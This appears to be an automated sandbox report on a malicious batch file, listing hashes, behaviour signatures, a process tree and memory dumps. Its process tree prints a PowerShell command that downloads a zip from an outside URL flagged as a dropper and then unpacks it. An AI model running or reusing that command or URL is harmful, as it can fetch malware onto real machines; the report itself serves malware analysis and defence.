3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1566s
max time network
1571s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (12).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2300	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2300	powershell.exe
2628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 2300	2236	cmd.exe	29
PID 2236 wrote to memory of 2300	2236	cmd.exe	29
PID 2236 wrote to memory of 2300	2236	cmd.exe	29
PID 2236 wrote to memory of 2628	2236	cmd.exe	30
PID 2236 wrote to memory of 2628	2236	cmd.exe	30
PID 2236 wrote to memory of 2628	2236	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a7bb7f1eee754a9d92425c26444d7db6

SHA1
a97e4c3544e506e9d7fc26ab40218cb4ceaad46f

SHA256
16bd4df00e1f02e4b43fafcc2f42c16a0e5b8725c5e42a814a6b3d787bb8bdf5

SHA512
cdb5d439ddd1714ff7d64a16aec6c9f643fd3c88fbe813f55521b12782e255fa8facbf478daeaa959b8a680889bcecf85407194ae496d572819eec063e675ad4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BE858A3OMP2NA4M0XKKF.temp

Filesize
7KB

MD5
a7bb7f1eee754a9d92425c26444d7db6

SHA1
a97e4c3544e506e9d7fc26ab40218cb4ceaad46f

SHA256
16bd4df00e1f02e4b43fafcc2f42c16a0e5b8725c5e42a814a6b3d787bb8bdf5

SHA512
cdb5d439ddd1714ff7d64a16aec6c9f643fd3c88fbe813f55521b12782e255fa8facbf478daeaa959b8a680889bcecf85407194ae496d572819eec063e675ad4

Download Submit
memory/2300-9-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2300-7-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2300-8-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2300-4-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/2300-10-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2300-11-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2300-13-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2300-6-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2300-5-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2628-20-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

Filesize
9.6MB

Download
memory/2628-21-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2628-19-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

Filesize
2.9MB

Download
memory/2628-22-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

Filesize
9.6MB

Download
memory/2628-23-0x0000000002800000-0x0000000002880000-memory.dmp

Filesize
512KB

Download
memory/2628-24-0x0000000002800000-0x0000000002880000-memory.dmp

Filesize
512KB

Download
memory/2628-26-0x0000000002800000-0x0000000002880000-memory.dmp

Filesize
512KB

Download
memory/2628-25-0x0000000002800000-0x0000000002880000-memory.dmp

Filesize
512KB

Download
memory/2628-27-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

Filesize
9.6MB

Download